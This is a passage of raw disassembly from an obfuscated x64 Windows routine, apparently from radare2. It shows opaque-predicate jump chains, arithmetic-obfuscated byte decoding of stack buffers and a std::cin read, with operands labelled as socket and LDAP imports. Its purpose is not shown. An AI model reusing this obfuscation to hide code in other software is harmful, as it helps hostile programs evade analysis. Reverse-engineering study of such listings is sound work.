sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
inc rdi
jmp 0x1400d22a3
lea edx, [rdi + 0x24]
mov ecx, 2
movzx eax, dl
dec rdi
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
inc rdi
jmp 0x1400d22a3
lea ecx, [rdi - 0x1e]
movzx r11d, dil
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x2e
jmp 0x1400d2d13
lea ecx, [rdi - 0x60]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x60
jmp 0x1400d2d47
lea edx, [rdi + 0x5e]
mov ecx, gethostname
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400d2d4a
lea edx, [rdi + 0x1c]
mov ecx, reloc.WLDAP32.dll_Ordinal_30
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400d2bf7
lea edx, [rdi - 0x26]
mov ecx, 5
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400d2c1e
lea ecx, [rdi - 0x68]
movzx eax, cl
and al, bl
add al, al
sub cl, al
movzx eax, byte [rbp + rdi + 0x100]
add rax, r9
add rdi, rax
lea r10d, [rbx + rcx]
sub r10b, 0x28
inc rdi
jmp 0x1400d22a3
lea ecx, [rdi - 0xd]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0x5b
mov byte [rbp + rdi + 0x100], r10b
inc rdi
jmp 0x1400d22a3
lea ecx, [rdi - 0x4f]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0x29
cmp r9, 0x80
jb 0x1400d26e1
movzx ecx, bl
movzx r11d, dil
movzx eax, bl
lea edx, [r11 + 0x26]
and al, dl
add al, al
sub cl, al
add cl, dl
lea r10d, [rcx*2 - 0x14]
jmp 0x1400d2ccd
lea ecx, [rdi + 0x6f]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 9
cmp r8, 0x2a
jae 0x1400d2b7d
lea rax, [r9 + 6]
cmp r8, rax
jbe 0x1400d2aa4
lea edx, [rdi - 0x6e]
mov ecx, 1
movzx eax, bl
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x1400d2705
lea ecx, [rdi + 0x2d]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x3b
lea rax, [r9 + r8]
cmp rax, 0x2a
je 0x1400d2ba0
lea rax, [r9 + 6]
cmp r8, rax
jbe 0x1400d29d6
lea edx, [rdi - 0x23]
movzx eax, bl
and al, dl
movzx r10d, bl
add al, al
sub r10b, al
sub r10b, 0xb
add r10b, dl
jmp 0x1400d2745
lea edx, [rdi + 0x3e]
mov ecx, Ordinal_41
movzx eax, dl
and al, bl
sub cl, al
movzx eax, byte [rbp + rdi + 0x100]
add rax, r9
add rdi, rax
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
inc rdi
jmp 0x1400d22a3
lea edx, [rdi - 4]
mov ecx, reloc.WS2_32.dll_ntohl
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400d2c1e
lea ecx, [rdi - 0x46]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x16
jmp 0x1400d2bf7
lea ecx, [rdi + 0x78]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x48
jmp 0x1400d2d4a
lea ecx, [rdi + 0x36]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x7a
jmp 0x1400d2d47
mov ecx, Ordinal_45
movzx r11d, dil
lea edx, [r11 - 0xc]
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400d2d13
lea edx, [rdi - 0x4e]
mov ecx, reloc.WS2_32.dll_recvfrom
movzx eax, dl
dec rdi
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
inc rdi
jmp 0x1400d22a3
lea ecx, [rdi + 0x70]
inc r9
movzx eax, cl
dec rdi
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x10
inc rdi
jmp 0x1400d22a3
movzx r11d, dil
lea ecx, [r11 + 0x2e]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x42
jmp 0x1400d2ccd
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x1400d2901
lea ecx, [rdi + 0x21]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0x19
jmp 0x1400d278b
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d2939
lea edx, [rdi + 0x6a]
mov ecx, reloc.WS2_32.dll_listen
movzx eax, dl
and al, bl
sub cl, al
movzx eax, byte [rbp + rdi + 0x100]
add rax, r9
add rdi, rax
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
inc rdi
jmp 0x1400d22a3
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d295b
lea ecx, [rdi + 0x30]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x50
jmp 0x1400d2d4a
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400d297d
lea ecx, [rdi + 0x72]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x1e
jmp 0x1400d2d47
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400d29aa
lea edx, [rdi - 0xa]
mov ecx, reloc.WLDAP32.dll_Ordinal_35
movzx eax, bl
dec rdi
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
inc rdi
jmp 0x1400d22a3
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400d278b
movzx r11d, dil
movzx eax, bl
movzx r10d, bl
lea edx, [r11 + 0x7a]
and al, dl
add al, al
sub r10b, al
sub r10b, 0x56
jmp 0x1400d2cca
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d29fe
movzx r11d, dil
movzx eax, bl
movzx r10d, bl
lea edx, [r11 + 0x1f]
and al, dl
add al, al
sub r10b, al
add r10b, 0x27
jmp 0x1400d2cca
inc rax
cmp r8, rax
jne 0x1400d2a28
lea ecx, [rdi + 0x61]
movzx eax, bl
and al, cl
inc r9
add al, al
dec rdi
sub bl, al
lea r10d, [rcx + rbx]
add r10b, 0x59
inc rdi
jmp 0x1400d22a3
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d2a4a
lea ecx, [rdi + 0x27]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x11
jmp 0x1400d2d47
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400d2a6d
lea edx, [rdi - 0x55]
movzx eax, bl
and al, dl
movzx r10d, bl
add al, al
sub r10b, al
add r10b, 0x53
jmp 0x1400d2bf4
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400d2745
lea ecx, [rdi + 0x2f]
movzx eax, bl
and al, cl
add al, al
sub bl, al
movzx eax, byte [rbp + rdi + 0x100]
add rax, r9
add rdi, rax
lea r10d, [rcx + rbx]
sub r10b, 0x49
inc rdi
jmp 0x1400d22a3
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d2adc
lea edx, [rdi - 0x2c]
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
movzx eax, byte [rbp + rdi + 0x100]
add rax, r9
add rdi, rax
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
inc rdi
jmp 0x1400d22a3
inc rax
cmp r8, rax
jne 0x1400d2b02
lea edx, [rdi + 0x16]
mov ecx, 0x33
movzx eax, bl
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x1400d2c1e
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d2b24
lea ecx, [rdi - 0x24]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 4
jmp 0x1400d2d47
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400d2b51
lea edx, [rdi + 0x60]
mov ecx, Ordinal_50
movzx eax, bl
dec rdi
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
inc rdi
jmp 0x1400d22a3
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400d2705
movzx r11d, dil
movzx eax, bl
movzx r10d, bl
lea edx, [r11 - 0x1c]
and al, dl
add al, al
sub r10b, al
sub r10b, 0x3c
jmp 0x1400d2cca
movzx ecx, byte [rbp + rdi + 0x100]
movzx r11d, dil
lea edx, [r11 + 0x68]
movzx eax, dl
and al, bl
sub cl, al
add cl, 0x14
lea r10d, [rcx + rcx]
jmp 0x1400d2d10
mov ecx, reloc.WLDAP32.dll_Ordinal_45
lea edx, [rdi - 0x56]
movzx eax, bl
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
jmp 0x1400d2bf4
lea ecx, [rdi + 7]
movzx eax, bl
and al, cl
add al, al
sub bl, al
movzx eax, byte [rbp + rdi + 0x100]
add rax, r9
add rdi, rax
lea r10d, [rcx + rbx]
sub r10b, 0x31
inc rdi
jmp 0x1400d22a3
lea edx, [rdi - 0x7d]
movzx eax, bl
and al, dl
movzx r10d, bl
add al, al
sub r10b, al
add r10b, 0x6b
add r10b, dl
lea edx, [rdi - 0x35]
movzx eax, bl
and al, dl
inc r9
add al, al
movzx ecx, bl
sub cl, al
add cl, 0x73
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0x100], al
add rax, r9
sub rdi, rax
lea ecx, [rdi - 0x14]
movzx eax, bl
and al, cl
inc r8
add al, al
sub bl, al
mov rax, 0xffffffffffffffff
sub rax, r8
sub bl, 0x74
add bl, cl
mov byte [rbp + rdi + 0x100], bl
add rdi, rax
movzx eax, byte [rbp + rdi + 0x100]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400d22a3
lea ecx, [rdi + 0x41]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
add r10b, 0x39
jmp 0x1400d2d4a
lea ecx, [rdi - 1]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
add r10b, 7
jmp 0x1400d2d47
lea ecx, [rdi + 0x39]
movzx eax, bl
and al, cl
inc r9
add al, al
dec rdi
sub bl, al
lea r10d, [rcx + rbx]
add r10b, 0x71
inc rdi
jmp 0x1400d22a3
movzx r11d, dil
movzx eax, bl
movzx r10d, bl
lea edx, [r11 - 9]
and al, dl
add al, al
sub r10b, al
add r10b, 0x3f
add r10b, dl
movzx eax, bl
add r11b, 0x47
and al, r11b
add al, al
sub bl, al
add bl, 0xf
add bl, r11b
mov byte [rbp + rdi + 0x100], bl
inc r9
dec rdi
inc rdi
jmp 0x1400d22a3
movzx r11d, dil
movzx eax, bl
movzx r10d, bl
lea edx, [r11 - 0x53]
and al, dl
add al, al
sub r10b, al
add r10b, 0x45
add r10b, dl
movzx eax, bl
sub r11b, 0x77
and al, r11b
add al, al
sub bl, al
add bl, 0x41
add bl, r10b
add bl, r11b
mov byte [rbp + rdi + 0x100], bl
jmp 0x1400d2d47
lea ecx, [rdi + 0x6b]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
add r10b, 0x13
add r8, r9
movzx eax, r10b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400d22a3
lea rcx, [rdi + r14]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
add r10b, 0x4b
movzx eax, byte [rbp + rdi + 0x100]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400d22a3
add dil, 0x25
movzx eax, bl
and al, dil
add al, al
sub bl, al
lea r10d, [rdi + rbx]
sub r10b, 3
jmp 0x1400d22a0
sub dil, 0x1d
movzx eax, bl
and al, dil
add al, al
sub bl, al
lea r10d, [rdi + rbx]
sub r10b, 0x35
jmp 0x1400d2290
lea rcx, [rbp + 0x176a32c]
jmp 0x1400d2ddd
lea rcx, [rbp + 0x5b0c4d]
jmp 0x1400d2ddd
lea rcx, [rbp + 0x100]
call fcn.14003f5a0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_istream_char__struct_std::char_traits_char__::get_void____ptr64]
movzx r11d, byte [rbp + 0x260]
xorps xmm0, xmm0
xor eax, eax
mov dword [rbp - 0x40], 0xd7d7d5db
movups xmmword [rbp - 0x2f], xmm0
mov qword [rbp - 0x1f], rax
movabs r14, 0x3db0e22eff3c4776
mov dword [rbp - 0x3c], 0xd5cdd2e4
movabs r15, 0x2b37f3a6f91e8326
mov dword [rbp - 0x38], 0xdb2c1624
movabs r12, 0xb912a68cfdb4d662
mov dword [rbp - 0x34], 0xefde2deb
mov byte [rbp - 0x30], 0xbc
mov r8, qword [0x1402e3348]
mov r9, qword [0x1402e3350]
mov rdi, r13
cmp rdi, 0x29
jae 0x1400d39a3
movzx ebx, byte [rbp + rdi - 0x40]
mov r10, rbx
cmp r8, rdi
ja 0x1400d399a
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400d2e93
lea rcx, [rdi + r14]
movzx eax, r10b
and al, cl
movzx r11d, r10b
add al, al
sub r11b, al
sub r11b, 0x3a
add r11b, cl
jmp 0x1400d2ec0
je 0x1400d3928
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d38f8
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400d38b6
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400d3897
cmp r9, rdi
ja 0x1400d3991
lea rax, [r9 + 0x7a]
cmp r8, rax
jae 0x1400d2eee
lea ecx, [rdi - 0x52]
mov r11d, Ordinal_32
movzx eax, cl
and al, bl
sub r11b, al
add r11b, r11b
add r11b, cl
add r11b, bl
jmp 0x1400d2f30
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400d3854
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d3831
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400d3815
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400d37c9
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400d379d
nop
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400d3463
nop dword [rax]
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400d3440
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1400d341e
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400d33fa
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400d33dc
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400d33bb
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400d33a2
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400d3384
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400d336b
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1400d333f
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400d2f40
lea r8, [r9 + 5]
lea r9, [r8 + 0x200]
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1400d3971
lea rax, [r9 + 1]
cmp r8, rax
jb 0x1400d3956
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400d3129
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1400d3110
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1400d30f7
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1400d32f0
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1400d32b6
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1400d3274
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1400d3253
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x1400d2f40
lea r8, [r9 + 0x40]
lea r9, [r8 + 0x2a]
lea rax, [r9 + 3]
cmp r8, rax
ja 0x1400d322c
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x1400d320e
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1400d31f5
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400d31d7
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1400d31bb
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1400d31aa
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400d318b
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400d3164
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1400d3147
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1400d2f40
lea r8, [r9 + 0x61]
lea r9, [r8 + 9]
jmp 0x1400d2f40
lea ecx, [rdi + 0x12]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x7e
jmp 0x1400d2f30
lea ecx, [rdi + 0x26]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0xa
jmp 0x1400d2ec0
lea edx, [rdi + 0x3a]
mov ecx, gethostname
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400d2e62
lea ecx, [rdi + 0x70]
movzx r10d, dil
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x10
jmp 0x1400d3871
lea edx, [rdi - 0x7c]
mov ecx, reloc.WLDAP32.dll_Ordinal_50
movzx eax, dl
inc r9
and al, bl
dec rdi
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc rdi
jmp 0x1400d2e53
lea ecx, [rdi - 0x68]
dec rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x28
inc rdi
jmp 0x1400d2e53
lea edx, [rdi - 0x54]
mov ecx, Ordinal_41
movzx r10d, dil
jmp 0x1400d38c3
lea ecx, [rdi - 0x40]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x40
add r8, r9
jmp 0x1400d390f
lea edx, [rdi - 0x2c]
mov ecx, reloc.WLDAP32.dll_Ordinal_26
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400d390f
lea ecx, [rdi - 0x18]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x58
jmp 0x1400d3777
lea edx, [rdi - 4]
mov ecx, reloc.WS2_32.dll_ntohl
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400d37dd
lea ecx, [rdi + 0x10]
movzx eax, cl
and al, bl
add al, al
sub cl, al
movzx eax, byte [rbp + rdi - 0x40]
add rax, r9
add rdi, rax
lea r11d, [rbx + rcx]
sub r11b, 0x70
inc rdi
jmp 0x1400d2e53
lea ecx, [rdi - 0x3e]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x4e
mov byte [rbp + rdi - 0x40], r11b
inc rdi
jmp 0x1400d2e53
lea edx, [rdi - 0x2a]
mov ecx, reloc.WS2_32.dll_send
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
cmp r9, 0x1000
jb 0x1400d3267
movzx r10d, dil
lea ecx, [r10 + 4]
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, bl
lea r11d, [rcx*2 - 0x38]
jmp 0x1400d3871
lea ecx, [rdi - 0x16]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x66
cmp r8, 0x28
jae 0x1400d373c
lea rax, [r9 + 0x64]
cmp r8, rax
jbe 0x1400d3664
lea edx, [rdi - 0x34]
mov ecx, gethostname
movzx eax, dl
and al, bl
jmp 0x1400d3281
lea edx, [rdi - 2]
mov ecx, 7
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
lea rax, [r9 + r8]
cmp rax, 4
je 0x1400d375f
lea rax, [r9 + 8]
cmp r8, rax
jbe 0x1400d356b
lea edx, [rdi + 0x1e]
mov ecx, reloc.WS2_32.dll_socket
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400d32ca
lea edx, [rdi + 0x14]
mov ecx, Ordinal_60
movzx eax, dl
and al, bl
sub cl, al
movzx eax, byte [rbp + rdi - 0x40]
add rax, r9
add rdi, rax
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc rdi
jmp 0x1400d2e53
lea ecx, [rdi + 0x28]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x18
jmp 0x1400d37dd
lea edx, [rdi + 0x3c]
mov ecx, reloc.WLDAP32.dll_Ordinal_46
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400d3777
lea ecx, [rdi + 0x50]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x30
jmp 0x1400d390f
lea edx, [rdi + 0x64]
mov ecx, Ordinal_35
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
add r8, r9
jmp 0x1400d390f
movzx r10d, dil
lea ecx, [r10 + 0x78]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x48
jmp 0x1400d38d4
lea edx, [rdi - 0x74]
mov ecx, reloc.WLDAP32.dll_Ordinal_22
movzx eax, dl
dec rdi
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc rdi
jmp 0x1400d2e53
lea ecx, [rdi - 0x60]
inc r9
movzx eax, cl
dec rdi
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x60
inc rdi
jmp 0x1400d2e53
mov ecx, 0xa
movzx r10d, dil
lea edx, [r10 - 0x4c]
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400d3871
lea rcx, [r9 + 2]
cmp r8, rcx
jae 0x1400d3485
lea ecx, [rdi + 0x76]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x3a
jmp 0x1400d3309
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d34ba
lea edx, [rdi + 0x5c]
mov ecx, 0x3e
movzx eax, dl
and al, bl
sub cl, al
movzx eax, byte [rbp + rdi - 0x40]
add rax, r9
add rdi, rax
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc rdi
jmp 0x1400d2e53
cmp r8, rcx
jne 0x1400d34d8
lea ecx, [rdi + 0x34]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x6c
jmp 0x1400d3777
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d34fd
lea ecx, [rdi + 0xc]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x54
add r8, r9
jmp 0x1400d390f
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400d3518
movzx r10d, dil
mov ecx, Ordinal_32
lea edx, [r10 - 8]
jmp 0x1400d38c3
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400d3540
lea ecx, [rdi - 0x1c]
dec rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x3c
inc rdi
jmp 0x1400d2e53
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400d3309
movzx r10d, dil
lea ecx, [r10 - 0x44]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x24
jmp 0x1400d3871
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d3592
movzx r10d, dil
lea ecx, [r10 + 0xa]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x46
jmp 0x1400d3871
inc rax
cmp r8, rax
jne 0x1400d35c1
lea edx, [rdi - 0xa]
mov ecx, reloc.WLDAP32.dll_Ordinal_35
movzx eax, dl
inc r9
and al, bl
dec rdi
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc rdi
jmp 0x1400d2e53
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400d35e9
lea ecx, [rdi - 0x1e]
dec rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x2e
inc rdi
jmp 0x1400d2e53
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d3604
movzx r10d, dil
mov ecx, Ordinal_50
lea edx, [r10 - 0x32]
jmp 0x1400d38c3
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400d362b
lea edx, [rdi - 0x5a]
mov ecx, Ordinal_60
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400d390f
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400d32ca
lea edx, [rdi + 0x6a]
mov ecx, reloc.WS2_32.dll_listen
movzx eax, dl
and al, bl
sub cl, al
movzx eax, byte [rbp + rdi - 0x40]
add rax, r9
add rdi, rax
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc rdi
jmp 0x1400d2e53
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d3694
lea ecx, [rdi - 0x48]
movzx eax, cl
and al, bl
add al, al
sub cl, al
movzx eax, byte [rbp + rdi - 0x40]
add rax, r9
add rdi, rax
lea r11d, [rbx + rcx]
sub r11b, 8
inc rdi
jmp 0x1400d2e53
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d36bb
lea edx, [rdi - 0x70]
mov ecx, 8
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400d3777
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400d36e5
lea edx, [rdi + 0x68]
mov ecx, reloc.WS2_32.dll_sendto
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
add r8, r9
jmp 0x1400d390f
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400d370c
movzx r10d, dil
lea ecx, [r10 + 0x54]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x4c
jmp 0x1400d38d4
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400d328d
mov ecx, Ordinal_45
movzx r10d, dil
lea edx, [r10 + 0x18]
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400d3871
movzx ecx, byte [rbp + rdi - 0x40]
movzx r10d, dil
lea edx, [r10 - 0x10]
movzx eax, dl
and al, bl
sub cl, al
add cl, 0x38
lea r11d, [rcx + rcx]
add r11b, dl
jmp 0x1400d38d4
lea ecx, [rdi - 0x24]
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, byte [rbp + rdi - 0x40]
lea r11d, [rbx + rcx]
sub r11b, 4
lea edx, [rdi + 0x52]
movzx eax, bl
and al, dl
inc r9
add al, al
movzx ecx, bl
sub cl, al
sub cl, 0x3e
add cl, dl
movzx eax, cl
mov byte [rbp + rdi - 0x40], al
add rax, r9
sub rdi, rax
jmp 0x1400d37dd
lea edx, [rdi - 6]
mov ecx, reloc.WS2_32.dll_setsockopt
movzx eax, dl
and al, bl
sub cl, al
movzx eax, byte [rbp + rdi - 0x40]
add rax, r9
add rdi, rax
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc rdi
jmp 0x1400d2e53
lea ecx, [rdi + 0xe]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x62
lea ecx, [rdi - 0x38]
movzx eax, bl
and al, cl
inc r8
add al, al
sub bl, al
mov rax, 0xffffffffffffffff
sub rax, r8
sub bl, 0x78
add bl, cl
mov byte [rbp + rdi - 0x40], bl
add rdi, rax
movzx eax, byte [rbp + rdi - 0x40]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400d2e53
lea ecx, [rdi + 0x4a]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 6
add r8, r9
jmp 0x1400d390f
mov ecx, gethostname
movzx r10d, dil
movzx eax, bl
lea edx, [r10 + 0x5e]
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400d38d4
movzx r10d, dil
movzx eax, bl
movzx r11d, bl
lea edx, [r10 - 0x66]
and al, dl
add al, al
